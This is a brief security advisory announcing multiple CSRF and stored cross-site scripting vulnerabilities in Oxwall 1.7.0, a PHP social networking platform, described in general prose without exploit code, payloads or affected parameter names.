Title: Oxwall 1.7.0 Multiple CSRF And HTML Injection Vulnerabilities
Advisory ID: ZSL-2014-5195
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 28.07.2014

Summary

Oxwall is unbelievably flexible and easy to use PHP/MySQL social networking software platform.

Description

Oxwall version 1.7.0 suffers from multiple cross-site request forgery and stored xss vulnerabilities. The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed to several POST parameters is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user’s browser session in context of an affected site.
